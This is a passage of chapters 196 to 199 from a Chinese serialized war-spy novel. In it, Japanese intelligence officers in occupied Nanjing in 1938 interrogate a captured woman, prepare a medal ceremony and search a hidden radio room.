黑木嘉许地看了渡边一眼,“没错,世上怎么有这么巧的事,都让我们碰到了?据我所知,曲姓在中国可不是什么大姓,况且,二人年龄又仿佛,所以我认为这两个名字必有联系!” “你是指曲思秋和华帮抗战大队的副大队长曲思冬有可能是兄妹?”渡边雪奈的反应很快。 “不排除这样的可能性!” 川上麻衣听毕连忙立身,断然道:“下午我再提审曲思秋,一定撬开她的嘴巴,找出这俩人的内在联系!” “要注意技巧。”黑木沉吟道,“如果她继续顽固不化……呵呵,我想我们没有必要在她身上多花时间了!” “将军所言极是!”渡边先是附和,忽然又想到什么,赶忙补充道:“可是就这样处决了她,会不会影响到林赤的投诚决心?” “如今他已没有了和我们讨价还价的资格!”黑木厉声说道,很快话锋一转,马上又说道:“可是,万一我们真要下决心,还是要隐瞒的,待生米做成熟饭再向他透露也不迟。”黑木的思想天马行空,顷刻间又想起数天后的鼓楼广场举行的授勋仪式,于是向渡边询问筹备细节,渡边如实告知。 黑木听完后徐徐说道:“这次授勋仪式,是我大日本帝国攻占南京后的一次真正意义上的庆典,为表彰此次战役的有功之臣,最高司令部指名近十家驻南京的军事单位,各推举一名人员接受授勋,刘云雄是松井将军钦点的我松机关的代表,自然毫无异议,可是赏罚必须分明,这也是帝国自扩张以来一贯的态度,为此在该仪式上,还特地增加了一个环节——对不思悔改、一心与帝国为敌的敌人,将采取断然措施,在授勋结束后统一行刑,以儆效尤,威吓与立威共举,同样之于授勋,这也是浓墨重彩的重要一环,我以为,假如共党嫌犯曲思秋依旧我行我素……”黑木音调明显高了起来,阴鸷的眼睛里游过一丝凶光。 “杀无赦!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第196章 第二次摆拍 曲思秋被再次带进审讯室。坐在她对面的,依旧是松机关的川上麻衣中佐。 一切照旧,连开场白几乎都是一致,不同的是曲思秋的心境,她已然满心疲惫。肉体的折磨只是通过神经末梢传递的痛感,而精神的折磨是一种从身心到灵魂的压迫,让她处于一种近乎于窒息得喘不过气来的境地。 看来,她轻看了这样的审讯,当林赤用摩尔斯密码向她发布指令后,她一度信心满满,不就是编造谎言吗,这有何难!可当川上真正提审她的时候,她才知道这其中有多艰难,整个过程中她如履薄冰,对方每问一个问题,她都必须快速进行思索,以防出现破绽。然而,更让她没料到的是,狡猾的鬼子竟然会把同样的问题重复问三遍,这让她在审讯结束时已是心力交瘁,完全处在一种崩溃的边缘。 还好,第一轮的审讯后,她得到了短暂而可贵的半个小时的休息,尽管饥肠辘辘,但起码她的灵魂得到了栖息,这让她稍稍缓了口气,可还没来得及庆幸,噩梦又开始了。 川上冷冷地把曲思秋从上到下打量了一遍,问道:“姓名?” 这两个字一从川上的嘴里蹦出,曲思秋的内心不由得一阵战栗。 显而易见,所有老套的问题第四轮来袭。 容不得曲思秋多想,她只能强打起精神。“曲思秋。” …… 半个多小时后,曲思秋虚脱地坐在条形板凳上,内衣上已被汗水浸透。如若不是她有坚强的意念,此时的她理应瘫倒在地。 她必须咬牙苦苦支撑。 这位看似柔弱的女子,拥有着强大的内心,否则,前一阶段那些就连一般男人都无法承受的严酷的肉体刑罚,早就把她击垮了。 一系列熟悉的问题刚结束,川上突然话锋一转,高声问道:“曲思冬你认识吗?” 这不但是一个全新的问题,而且大大出乎了她的意料,曲思秋本能地一愣,一时哑口无语,审讯室里顿时死一般地沉寂,川上目光如炬,紧紧地盯着她的脸,生怕错过任何一个哪怕很细微的表情变化。 足足三秒后,曲思秋答道:“我不认识这个人。” 尽管曲思秋似乎表现出极力的平静,但在川上的心中已有了答案。川上得意一笑,不慌不忙站起身来,完全是一个胜利者的姿态。 川上把双手撑在桌子上,用一种居高临下的口气喝斥道:“你这是在狡辩!” “我不认识这个人。”曲思秋的声音依旧平静如水。 “你这分明是在掩饰内心的狂乱!” “那你告诉我他是谁?”曲思秋颔首看了川上一眼,又低眉不语。 “你恐怕比我心中更清楚吧……”川上冷笑道,“这两个名字只有一字之差,而且名字里面一个秋一个冬,都是中国人对季节的表述,你不觉得这太巧合了吗?有人告诉我,曲姓是你们中国一个冷僻的姓氏,且名字里第二个字完全一致,这在你们的传统文化里,是有意义的!” “你是怀疑这个人是我的哥哥或者是我的弟弟?” “他是你的哥哥!他是华帮抗战大队的副大队长!” “哦,是吗?如果我有这样的一个哥哥,我会万分荣幸,起码他在干一些长中国人脸的事情。”这样的审问曲思秋倒觉得很轻松。 “你想不想知道这个人现在何处?” “不想。”曲思秋不假思索。 “连他是死是活都不关心吗?” 曲思秋内心一惊,但很快答道:“他的死活与我有关系吗?” “如果我要告诉你这个人已被我们抓到,并在不日后执行枪决,你会作何感想?”川上灵感乍现,随口编了个谎言。 “如果真是这样,我会对他的死表示惋惜,同时也增加了你们鬼子的一份罪恶!”曲思秋不知不觉激动起来,声音也愈见高亢, 川上的谎言还是让她有些慌乱。当她意识到这一点后,连忙换了另一种语气补充了一句:“咦,如果真有此人,我倒是真心想认他这个哥哥!” 这样的变化自然没能逃过川上的眼睛,他愈加坚定了自己的判断,心中已有计较。 审讯该结束了!川上麻衣想。 …… 授勋仪式进入倒计时。 整个南京城的日军机关,开始围绕这样一次即将到来的凸显军威和国威的仪式而忙碌起来。尽管受益者只是少数机关单位里的极个别人,但作为日本这个战端一开、整个民族近乎到了疯狂程度的国家而言,这些所谓的大和民族血统的日本军人,从上到下,上至将军下到普通士兵,都对该授勋仪式望眼欲穿,几乎所有的但凡积累了哪怕是一丁点战功的军人,无不在夜深人静时纷纷幻想自己就是其中一名被授勋的对象(日本对授勋对象通常会保持神秘感,不到万不得已不会公布,刘云雄提前获知只是个例外。),不但可以得到一枚彰显赫赫功绩的勋章,同时还能领到天皇亲笔签名的授勋证书。这是帝国军人何等的荣耀! 这章没有结束,请点击下一页继续阅读!松机关的川上麻衣中佐就是得了这种狂想症的中阶军官之一。 从老虎桥监狱审讯完曲思秋出来,川上便归心似箭。他立即上了一辆挎斗摩托,向着黄浦路的憩庐飞驰而去。 他要立即布置归属他领导的电讯股,对南京城空中所有的电磁波展开侦听,从而找出隶属重庆方面的可疑电台,以此来界定林赤的存在的价值和意义。 时间进入1938年2月。 南京城已进入一个相对稳定的康复期,街上的人流逐渐多了起来,只是前一阶段的血腥屠杀带来的伤痛太甚,这座城市依旧像一个失血过多的病人,迟迟看不到她应有的活力。 一些繁华的路段,授勋仪式的告示已被贴上,每张告示前,都围满了人争相观看。 二十多分钟后,川上麻衣风风火火回到了松机关。一下车,他便直奔电讯股而来。 电讯股外间的办公室里,只有稻田勇一人,此时的他正坐在靠近窗前一张最大的办公桌旁,摆弄着手里的一筒胶卷。 在他的办公桌上,摆放着一架照相机,不用说,这筒胶卷是刚刚取自于这架相机。 挎斗摩托的轰鸣声传到了他的耳朵里,稻田勇把脑袋转向窗外,这才发现从摩托上下来的是他的直接上司川上麻衣,看到川上急匆匆向楼里走来,稻田下意识地握住胶卷,目光在胶卷上停住,手一扬,将胶卷抛向空中半米多高,然后一把稳稳接住,把胶卷塞进外衣口袋。 稻田伸手把桌上的电讯记录移到面前,装作一副审阅的样子,poss刚摆好,目光落在桌上的相机上,连忙把相机收起放进桌子下边的柜子里,放完后忽然就惦记上了口袋的胶卷,不知觉地用手按了按口袋,尽量把胶卷沉到口袋最深处。 他只是一名尉级军官,军服口袋不像佐级和将级军官的,有一个罩在外面的袋檐,一不小心就容易丢东西,他有过一次教训,这样的失误,他不会犯第二次。 数日前,他在同样的衣服口袋里,也装过一筒胶卷,可惜后来发现它丢了。他事后回忆了所有的行动轨迹,觉得丢失地最大可能是在中山中路的那家利民诊所里。 尽管具备最大的可能性,但稻田并不抱有太大希望,一方面他无法确信,另一方面即使如此,说不定早就被人拿走,毕竟时间已过去了好多天了。但不管如何,稻田还是下定决心,一定要腾出时间再次造访利民诊所,因为某种特殊的原因。 稻田自发现胶卷丢失之后,一直魂不守舍,就在中午,他终于下定决心决定亲自跑了一趟松机关的技术科,再一次向负责人索借了一架相机,上一次他是通过渡边雪奈借的,这一次倒不是刻意绕开她,而是她这几天看起来实在太忙了,对于一直暗恋渡边的稻田而言,他不会放过任何一次和渡边搭讪的机会。 松机关的头儿黑木将军最近似乎也很忙,一个多小时前他刚踏进松机关,屁股还没坐热,接到了一个电话,又匆匆走出。稻田勇办公桌的位置有得天独厚的优势,可以细致观察到每一个进出憩庐的人,这样的优势不可小看,总能令他在上级领导进屋后看到他在勤奋工作的场景,这是让他最满意的地方。 机关长黑木前脚刚走,稻田马上把相机裹在一个布包里带进宿舍,不慌不忙地把箱子里的宝物摆出,全方位地拍下了它的全貌。 现在,川上回来了,很显然他可能马上光顾他的办公室,稻田把桌上的文件悉数堆到面前,开始认真地阅读起来。 才看了数行字,门口出现了脚步声,稻田先知先觉,不用看就知道是川上进来了,他阅读的神情更专注起来。 “稻田君!” 稻田故意显得很迟钝的样子看了看来人,发现是川上,连忙立身,嘴里道:“中佐阁下!” 转眼间川上已近至桌前,他开门见山:“今天有没有什么重要发现?” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第197章 集结迎宾 “没有什么异常。”稻田勇抽出一张监听记录,眼睛扫了扫漫不经心道:“自从那晚我们起获了一部共党电台后,南京的空中特别安静,只有一号电台还在偶尔活动,不过每次时间都很短,我们无法准确定位。” “都有记录吗?”川上问。 “有……”稻田勇正要继续回答,忽然院外传来数量不菲的挎斗摩托的急刹声,紧接着有轿车引擎声隆隆而至。 稻田勇忍不住瞟了一眼。院外的任何风吹草动都会吸引他的关注,这个习惯的形成时日不长,罪魁祸首是他办公桌太过靠窗,根源在于他天生的猎奇心,以至于他浑然忘了上司的提问。 川上麻衣骨子里也是个有好奇心的人,他跟着把脑袋转向窗外。 十数辆挎斗摩托簇拥着三辆黑色轿车,在憩庐前的空地上停了下来。 川上和稻田伸长脖子正要看个究竟,忽然有人急匆匆闯进,川上和稻田又被这急骤的脚步声吸引,纷纷把目光收回来。 进来的是渡边雪奈,她的目光落在稻田身上,很快又看到了桌前的川上麻衣,先是一愣,马上说道:“正好,川上君也在,你们和我一道下楼迎接客人!” 她有些气喘吁吁。 “谁来了?”川上迫切问道。 “一定是什么重要人物吧?”稻田也迫切问道。 “除了警备司令部的中岛将军,还有一位远道而来的客人,上海领事馆的总领事岩井英一先生。” “咦,中岛将军怎么会屈驾来我们这个小地方?他不是一向看不起我们这些成天泡在情报里堆里的闲人吗?”川上一边发问,一边向门外移动脚步。 稻田整了整衣领,把军服从上到下抹了一遍,手指又触及口袋里的胶卷,下意识地按按。 “上海领事馆的人跑到我们南京的松机关干什么来了?”稻田追上去问。 “还不是授勋仪式上的那些事!”渡边头也不回,三两步下了楼梯。稻田不甘心,一个箭步从三四阶楼梯上跃下,贴近渡边进一步询问道:“授勋与他们相干?” “岩井英一先生是本次授勋仪式特邀嘉宾,东京大本营点名要求他参加!” 三人很快来到院内。转眼间,除了他们三人,松机关所有有着一官半职的人员从楼里蜂拥而出,很快在空地上集结完毕并一字排开。三辆轿车的车门陆续被随员打开,里面的人物神态各异地抬脚下车。第一辆车下来的是中岛将军,他表情严肃,没有一丝笑容,他的双脚一踏上土地,便抬头细细端详着眼前高大气派的建筑物,双手缓缓地背在背后,目不斜视说道:“想当初,我们第十六师团是第一个打进南京城的,可最好的宝地却让黑木将军抢了!” 第二辆轿车上下来的是这座建筑的主人,松机关的机关长黑木,他正准备前去恭迎最后一辆轿车上的嘉宾,听到中岛在不远处自言自语,不得不打消念头,赶紧走近他,用一种自嘲的语气答道:“中岛将军取笑我了,我这块地方和你的总统府怎能相比?你占据的可是中国最权贵人物的中枢指挥机构,而此处仅仅是那位蒋某人的生活起居之地,相较起来,天壤之别啊!”黑木边答边回头张望,生怕怠慢了远方来客。 上海领事馆的总领事岩井英一最后下车,无人候迎,替他开门的只是他这辆车副驾驶位上的随员,他似乎并不计较,目光搜寻到了中岛和黑木正在并肩私聊,便不紧不慢向他们走来。 后车厢里,紧随岩井英一下车还有一人,年龄在三十七八岁的样子,下车后他向那名替他们开门的随员微微点了点头,以示谢意。便保持特定的距离跟在岩井身后。 黑木不经意间看到岩井走来,连忙返身迎接,接上后两人一同来到中岛身边。 中岛依旧在打量着眼前的憩庐,根本没有留意走近的岩井,或者说他根本没有在意。 “军中有传言,说蒋某人的这处私邸有不少宝贝,黑木君可捡到什么漏?如果不介意的话不妨拿出来让我等大饱眼福?正好乘着岩井君在此!” “是谁大放厥词?我可是一点皮毛都没有捞到?” 中岛终于露出一丝暧昧的笑容,耸了耸肩,表情有些乖张:“黑木君还是把我们当外人,重庆方面有风刮出,说蒋总统有一件压箱底的尤物在撤退之际忙中出错落在了憩庐里,传得有鼻子有眼。” 黑木冷笑一声道:“我断定这是有人别有用心,想给我身上泼脏水。” 中岛听出黑木的话中有话,似有所指,一下子不高兴了,但又不便发作,咬咬牙故作轻松之态:“蒋某人昔日的那张大床,黑木君睡得可还舒服?” 话一道出,黑木立时就感受到他的醋意。 当初为了争这处办公地,中岛曾经百般阻挠过,要不是最后松井司令一锤定音,中岛绝不会轻易放手。他知道,在这件事上,他算开罪了中岛,要不然,时间过去这么久,他也不会不阴不阳地说出这些话。黑木皱了皱眉,沉吟片刻道:“老眠早觉常残夜,病力先衰不待年!” 这章没有结束,请点击下一页继续阅读!中岛显然没听明白这句话的意思,连忙审视地看了一眼黑木,半晌冷冷说道:“黑木君仗着自己是个中国通,这是在考我?” “中岛将军一定多虑了,这只是一句稀松平常的中国古诗句。”岩井英一连忙打了个圆场。 “我对中国古诗没有研究,能告诉是何意思?” 中国古诗句的精妙之处就在于它的意境,黑木尽管号称是个中国通,也大体明白这句诗的意思,但要想用语言一下子把它表达出来,确非易事。他一手扶着脑袋搜肠刮肚想组织语言加以表达,可哪有那么容易。 中岛常以刻薄蜚声军中,即便是同军阶的人对他都敬而远之,更何况比他低一级的黑木?黑木更知道中岛小肚鸡肠,这般下不了台阶、大扫颜面的事情他还不要记挂一辈子?黑木不由懊悔自己随口拈来这句中国古诗,让自己遭遇了难堪,眼看得罪他已成既定,忽然听到岩井英一身后传来一个声音,用日语说道:“黑木将军的意思是说,他为了帝国伟大的事业,常常连觉都睡不好,还经常失眠,身体已大不如前。” 众人连忙回头看,却是最后一辆车上下来的那位三十七八岁的男子。 “吆西,对,就是这个意思。”黑木一拍脑袋,忙不迭声说道。 中岛盯着那人看,刚想发问,岩井把身子向后退了退,把那人引上前来,一脸得色,“袁桑,快快见过中岛将军和黑木将军。” 中岛不屑地看了那人一眼。 “这位是我上海领事馆的一名属下,中国人,叫袁塑,早年一直在我帝国东京都大学留学,才思过人,不久前才回国内,我也是三顾茅庐力邀他出山,现在也是我得力的助手!”说着他的目光又落在另一名随员身上,索性也一并介绍道:“另一位是我领事馆的新任武官上野明上野君。” 袁塑和上野明听毕,连忙用标准的日本礼仪向二位将军问好。 既然有了下坡的台阶,黑木自然而然要快速翻过这一页,他看着眼前站成一排的属下,高声道:“松机关的全体同仁们,让我们热忱欢迎警备司令部的中岛将军和上海领事馆的岩井英一先生……”说着,他又补充一句:“以及领事馆的两位朋友!” 渡边带头鼓掌,很快掌声连成一片。 欢迎仪式简短而热烈,黑木穿过人群,径直向大楼里走去。 中岛特立独行,并未跟着黑木上去,他的眼光被欢迎队列里的一人吸引。 “你是……”中岛走近他,和颜悦色问道。 “报告将军,中尉工藤夕贵,是一名狙击手!” 中岛一把握住他的手,无比亲切说道:“原来是我们大日本帝国的神枪手,难怪看得眼熟,你可是上过帝国读卖新闻头版的英雄,你的事迹在我帝国本土几乎妇孺皆知!” 工藤呐呐不知如何应答。 “不要拘谨,有机会请你给我讲讲你的传奇故事。”中岛拍拍他的肩,追寻着黑木的身影而去。 这几位身份显赫的人物陆续进了大楼,包括簇拥他们的随从。 院内迎宾的人群逐渐散去。 川上麻衣刚走进大楼,忽然想起和稻田讨论的工作还没有结果,不由得四处寻觅他的踪迹,却意外发现他呆立原地,怔怔出神。 “稻田君!”川上高喊一声。 稻田勇无动于衷。 川上快步返回,用手推了推他,狐疑问道:“稻田君,你这是怎么啦?” 稻田一下子惊醒过来,不自然地挤出一丝笑容,搪塞道:“没什么,我只是突然……突然想起了富士山的樱花,那是一幅何等绝妙的美景啊!” 川上又一次诧异地看着稻田,稻田的这番莫名其妙的话,在他听来,如同梦呓。 在回办公室的途中,稻田再一次摸了摸口袋,还好,那件鼓鼓的物什应该就是胶卷,它此刻依旧静静地躺在他的口袋里。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第198章 探访月息路 松机关的会议室里,黑木站在桌前等中岛和岩井全部进了屋内,方对中岛做出了一个邀请的姿势,把中岛引到会议桌的主席位旁,请他入座。中岛根本没把自己当外人,毫不犹豫地一屁股坐下,黑木和岩井分别坐到他的两侧。 接下来依次入座的,都是三位魁首的属下,松机关的川上中佐本来以为这样的会议和自己沾不上边,却被渡边少佐硬拽了过来,他们两人坐在了黑木的下首,而袁塑和上野明也找到了自己的定位,坐在岩井的同一侧,剩下的三人尽是隶属警备司令部中岛的部下。 甚至没有客套,中岛率先说道:“诸位,容我先介绍一下帝国上海领事馆的总领事岩井先生,岩井先生在外交领域颇有建树,不但如此,听说他在上海的情报工作也搞得有声有色,他的岩井公馆更是闻名遐迩!我俩虽从未谋面,但神交已久……在座的诸位都知道,本周在南京的鼓楼广场,我们将要举行一次攻占南京城后的首次授勋仪式,以表彰为帝国作出伟大贡献的帝国军人,而岩井先生是大本营钦定的授勋嘉宾之一,鉴于此原因,今天我才终于在汤山的最高司令部和岩井君得以聚首,总算见上真人了,他是今天从上海远道而来并顺路拜见了松井司令官。返城之际,司令官叮嘱我一定把岩井先生安全带回南京,并要求我们和黑木将军一道商定一下授勋仪式的具体细节,确保仪式圆满完成。” 所有参会者均聚精会神听着中岛演讲。 “本来我是想把这样的会议放在我们警备司令部的,巧的是黑木将军接到消息已在中山门候迎,当然,我并不在他的候迎之列……” 台下一阵哄笑,以中岛的几名属下最为起劲。 黑木微笑着,尽量表现出很大度。 “我早就听说,在军中,黑木君和岩井君的关系最铁,所以我是沾了岩井君的光,才得到了黑木将军的亲自恭迎,因而,对把本次会议放在松机关,也算是适得其所。” 黑木目光扫了一下在场的所有人,哈哈笑道:“看来,我得感谢岩井君的到来,我不止一次邀请过中岛将军前来我松机关指导工作,他就是不肯屈驾,这次总算给了我一次面子,岩井君,你说呢?” 岩井浸淫官场多年,不想被这二人以某些名义当枪使,话题一转,从他们的谈话中挣脱出来。 “我中午和松井司令官共进午餐的时候,才听说本周的授勋仪式你们会设在一个开放的场所,我很意外!” “岩井君是担心我们南京城的安保措施不力?”黑木立即找到了可以掌握主动的机会,“你放心,南京城只要有中岛的第十六师团在,出不了事!” “我倒不是不放心南京的治安,经验告诉我们,我们每占领一座中国城市,如果立足未稳,还是很容易出现纰漏,再说,本次仪式上,将会有不少我帝国的将军莅临现场,我们已经受不起任何一朵将军之花的陨落。” “咳咳,岩井君还是不信任我?”中岛一针见血,“我中岛今朝吾拿脑袋担保,如果在这次仪式上,出现了任何意外,我立即剖腹谢罪!” “将军言重了,不怕一万就怕万一,我以为授勋本来就是帝国内部的事情,不需要做给支那人看的,况且,你们把对顽固分子的惩戒活动也放在一起,我认为大大不妥,也会削弱它的严肃性。” 听到这儿,黑木连忙附和道:“岩井君言之有理,本来把授勋仪式放在一个公共的场合,已算是别出心裁,这样的开创之举也只有南京城率先为之,无奈是前一阶段,我们对这座城市的镇压太过严酷,实在是需要一股浩然之气来荡涤死气沉沉的阴晦之气,我想这也是司令部的初衷!不过,我以为当下有一个折中之计,就是把授勋与惩戒分开进行,授勋一结束,让嘉宾迅速离场后再行惩戒之举,二位以为如何?” 岩井当即表态:“两全其美!” 中岛并非一个随波逐流的人,他显得很庄重地思索了片刻,然后缓缓颔首道:“也罢,就按黑木将军的意思办!” …… 一个多小时后,会议结束。 实际上,本次会议只有一个议题,那就是以警告中国人为目的的惩戒活动和授勋仪式如何有效融合,最后,中岛在其他两人的坚持下不得不妥协让步,答应在授勋结束后在单独施行。 会议一结束,中岛扬长而去。 岩井继续留在松机关,他要出席今晚黑木特地用来招待他的欢迎晚宴。 黑木和岩井在楼下送完中岛后,黑木便一把抓住岩井的手,把他带至办公室,二人沏上茶开始闭门热聊,把军中的各自掌握的人事翻了个底朝天。 渡边和川上被留下来关照领事馆的其他两名客人。双方才寒暄几句,稻田面色凝重的出现在门口,对川上中佐递了个眼神,示意有事汇报。 眼尖的渡边早一步发现了稻田,她为了在两位客人面前刷存在感,连忙招手让稻田进来说话,以显示她在松机关举足轻重的地位。她知道稻田勇招手即来,尽管她并不能领导他,即使他的上司在此,这一点她有十足的把握。 这章没有结束,请点击下一页继续阅读!稻田勇果然遂愿而来。 渡边大大咧咧问道:“稻田君是不是有新的发现?” 稻田勇分管电讯,根本不用猜想,渡边明白稻田一定是有关于南京城敌台的消息要汇报,某种原因,渡边其实比川上更关心稻田的那摊子事,她特别想证明林赤的归顺有巨大的价值,这样的意识虽然被渡边包藏得很深,但总是被她不经意流露出来,以至于对两名在场的外人都不加忌讳。 “……是的”稻田下意识看了看川上。 川上面无表情,出生于乡下的川上麻衣之所以能够有今天的风光,官至中佐,主要凭借的是他吃苦耐劳的精神,以及凡事一律隐忍的品格,他从不轻易得罪他人,况且渡边的轻狂他早就有目共睹。 “袁桑和上野君不是外人!”渡边提醒道,然后做出一副洗耳恭听的姿态。 川上于是看着稻田,也摆出一副聆听的样子,算是用行动默许了渡边的要求。 “一号电台就在刚才有了动静!” “哦?”渡边霍地站立起来,反应似乎比川上要激烈,顿时让两位客人产生错觉,总以为她是这位稻田的直接领导者。 上海领事馆那位叫袁塑的中国人也跟着站起身来,拉着上野快步走到窗前,对窗外的景物开始指指点点,谈论甚是热切。他显然不愿意背负窥听机密的嫌疑。 川上这才发话,“有详细记录吗?” “有!”稻田递上监听记录。 纸上写满了一串串数字代码。 “马上用我们缴获的密码本进行破译!”渡边脱口而出。 “是!”稻田转身离去。 稻田走后,袁塑和上野二人这才离开窗前,袁塑说道:“刚才我和上野君在窗前看了看,发现蒋介石此处的私邸很大,我看二位很忙,就不用单独陪我们了,我们到楼下转转。” 川上求之不得,但还是看了看渡边,希望她有所表态。 “也好,最近我们刚破获了一起间谍案,确实有很多千丝万缕的工作要去做,怠慢之处还望二位见谅!” 渡边略作思考说道,忽然又想起什么,对川上说道:“川上君,要不你去吩咐一下我们帝国的神枪手,让工藤君作陪带两位在憩庐周围走走,他目前是最清闲的一个人。” “那谢谢渡边小姐了!”袁塑和上野几乎异口同声。 “那咱们晚上绿柳居见,黑木将军已让我订好包厢,请几位品尝一下南京老字号的全素宴。” 川上带着袁塑和上野正欲离去,渡边又叫住川上,低声说道:“有一件事我觉得迫在眉睫,我想带几个人穿便服去月息路探探,看看林赤所说的是真是假,你遇上黑木将军替我告知一声,他和岩井先生谈兴正浓,我就不去打搅了!” 渡边急匆匆地回到她的行动处,挑选了四人,包括李泉在内,同乘一辆车,均换上普通本地老百姓的衣服,立即向月息路奔去。 车到西康路,渡边让驾车的队员把车停在路边,然后五人分散开来,悄悄接近月息路二十一号。 很快抵达月息路,渡边终于看到门牌上标记的二十一号,院门没上锁,渡边挥手让众人隐藏起来,自己蹑手蹑脚推开院门。 院子不大,渡边一眼看到正屋的一面墙上悬挂着一张黑板,这和林赤所描述的一致,当初,那位林先生就是通过这张黑板上的留言找到了水井下方的入口。渡边的目光搜寻,果然看到院子中间有一口水井。 李泉担心渡边的安全,低头快速跑进院子,提醒渡边千万小心。 渡边毫不在乎地挥挥手,让他在院子里藏起来,自己俯身趴在井口上谛听了片刻,确信里面没有响动后,从腰间拔出枪握在左手里,双手拽着井绳探身下去。才顺着绳子下行数米,井身顿时开阔起来,渡边目光四处寻觅,果然看到脚尖处有一扇木门,她悬空在原处有聆听了一分钟,坚信这已是一处空无人迹的密室,便抬起脚尖推开了木门,木门甫开,渡边毫不犹豫纵身跳了进去。 密室里很暗,没有灯光,渡边从口袋里掏出手电,没费功夫就找到了电源开关,一拉绳,灯亮了,整个密室的外间一目了然。 渡边看到里间还有一扇门,又举枪轻手轻脚走到门口,果断一踹脚,把门踢开,同时把枪口对准室内,防止意外的发生。 整个密室果然空寂无人。 渡边再次来到密室的进口,探出脑袋对外面的队员喊道:“你们可以进来了!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第199章 新月弯弯 夜的幕徐徐拉上,一钩弯月静静地挂在夜空中。 这轮弯月怎么看都像是一把磨得锃亮的镰刀。 这个时候,一辆轿车驶进停在了松机关的门前,刘云雄从车上风风火火下来,抬头看了一眼楼上,发现机关长黑木的房间亮着灯,便匆匆往楼里走来,在楼内大厅里碰到川上中佐和两位陌生人正在闲聊,问道:“黑木将军还在?” 川上点头。 刘云雄“嗯”了声,低头大步跨上上楼的楼梯。 袁塑待刘云雄上了楼去,随口问道:“这是谁呀?也是你们松机关的?” 川上做了个“嘘”的手势,轻声说道:“原国军71军260旅旅长刘云雄……”说着此处,川上又愈加压低声音,“刚刚投诚过来的,现被任命为南京警卫军司令。” “哦,原来如此!”袁塑恍然大悟的样子,“难怪我看他气质不凡。” 刘云雄三两步来到黑木的办公室前,抬手敲门。 黑木开门,见来人是刘云雄,马上惊喜道:“原来是刘将军,快请进来,我来给你介绍我的好友,上海领事馆的岩井英一先生。” 刘云雄余光已注意到了岩井,忙道:“原来黑木将军有客人啊!打扰了!” “不碍事的,刘将军见外了!”岩井也是个中国通,用熟练地中文回敬道。 “这位是如今的南京警卫军司令……”黑木话没说完,岩井抢口道:“刘云雄刘将军,幸会!” 说着站起身来,似笑非笑看着刘云雄。 “您认识我?”刘云雄一脸疑问。 “岂止认识……”看到刘云雄脸上的疑惑越来越夸张,岩井扭捏起来:“说来话长,想当初您的夫人秦女士还是我安排人护送至南京的!” 黑木一拍脑袋,“看我,倒把这事忘了!” 刘云雄也明白了一切,极力想掩饰内心的豕突狼奔,笑容明显不很自然,“看来我欠岩井君一个人情!” “此话怎讲?”岩井一副生气的样子:“刘将军这话从何说起,看来将军是在责怪我喽?” “先生别误会!”刘云雄的脑子转得很快,“我后来听糟妻说起过,正是那次护送,害得您损失好几人!” 一句话勾起岩井伤心的回忆,他无限感慨起来,“山口君之死我是一直耿耿于怀,直到现在我还接受不了这样的现实!” 黑木走到窗前,仰头看了看月亮,拉上窗帘,回头对岩井道:“岩井君不要再伤心了,那件案子我们已经有了眉目。” “哦?说来听听!” 黑木抬手又看了看时间,急忙把岩井向室外牵引,嘴里说道:“天色不早,我们该去吃晚饭了。到时我们边吃边聊!”说着不忘叮嘱刘云雄:“刘桑一道前往,我请诸位吃绿柳居的全素宴!” 一行人浩浩荡荡下楼,碰巧渡边率队从月息路查案归来,渡边正要报告,黑木摆了摆手,说道:“渡边少佐就跟我上一辆车,我们路上再说!” 六七人分别上了两辆轿车,向着太平路上的绿柳居疾驰而去。 川上带着袁塑以及上野上了第一辆车,黑木、岩井以及渡边和刘云雄上了第二辆车。车一发动,渡边便报告道:“将军,我已查访了月息路,果然有一间密室,也正如林赤所言,里面的人都转移了,不过我仔细勘察了密室,发现了这个……”说着渡边从包里取出一物,递给黑木。 黑木借着昏暗的路灯光,细细端详一番,是个二极管。 “你是说,这是个电台配件?” “对,种种迹象表明,这间密室曾经是重庆方面的藏匿电台之处,我还发现了一些电报底稿,不过损毁很严重,不大容易分辨。” “发现有价值的东西吗?” “有,其中一张电报稿并未完全烧毁干净,看得出他们撤退很仓促,在底稿上面,我看到了一个符号,也可能是某人的代号。” “说!” “蜂鸟!” “呵呵,世界上几乎是最小的鸟?” 渡边却未按黑木的思路进行,“我看林先生并没有瞒我们,起码是并没有刻意隐瞒,他好像是有诚意的。” 靠车门另一侧的岩井忍不住插话问道:“这位林先生是谁?” “重庆方面的,现在被我们关在老虎桥监狱,不过他似乎有归顺我们的意图……”说着说着黑木想起这位林先生和上海领事馆的原武官山口之死存在着某些必然联系,忽然就有了想把他叫来让岩井盘问真相的念头。 “待会儿到了绿柳居……”黑木若有所思对渡边说道:“你打个电话给武内典狱长,让他派人以最快的速度把林先生送到绿柳居,岩井先生要问他话。” “这与我何干?”岩井大惑不解。 “他有山口君遇害的线索,岩井君别说不感兴趣?” “那感情好,我倒要问个仔细。” 你一言我一语,时间过得很快,转眼间车已驶在太平北路上。 渡边目光四处游走,突然死死停在前方一间店铺的招牌上。 这章没有结束,请点击下一页继续阅读!一家专卖丧葬用品的铺子,门前悬挂了一盏灯笼,隐约可见灯笼上一个斗大的字。 “思”。 这个奇怪的店名一下子勾起了渡边的某些回忆,她忙不迭声提醒黑木。 “将军,您快看那家棺材店。” 黑木顺着渡边所指,但并未发现什么异常。 “它有什么特别之处吗?” 前排副驾驶座上的刘云雄也看到了这间铺子,忽然也想起了什么,不由道:“我记起来了,一天前在老虎桥路一家茶馆前……” 黑木的记忆顿时清晰起来,“你是说那个救人的年轻人?他好像说过是一家棺材店的伙计,原来在这里!” 轿车即将快速通过,渡边不假思索地征询黑木的意见:“将军,要不我们下来看看?” “好!停车!”黑木命令道。 轿车发出一声刺耳的刹车声,车身剧烈地晃了晃,极不情愿地停在路中央。 前后警卫的几辆挎斗摩托赶紧停车,所有的日军不知发生什么,纷纷警惕地四处张望。 “到了?”岩井正闭目养神,他今天一大早驱车从上海跋涉数百公里而来,早已疲惫不堪,仅仅这么会儿他竟然睡着了。车身的剧烈震动把他惊醒,他以为到达了目的地,连忙拉了拉衣襟,准备下车。 “还没到,不过快了。”黑木继续解释,“这家铺子我们想下来看看……” 岩井定睛一看,原来是一家棺材店,眉头拧成一个结,不无厌恶道:“一家棺材铺有什么好看的?你们松机关想买棺材?” “不是……”渡边矢口否认,刚要推门,刘云雄回过头来,一句话点醒黑木。 “将军,我们中国人看到棺材店都认为是件不吉利的事,想躲还来不及呢!” 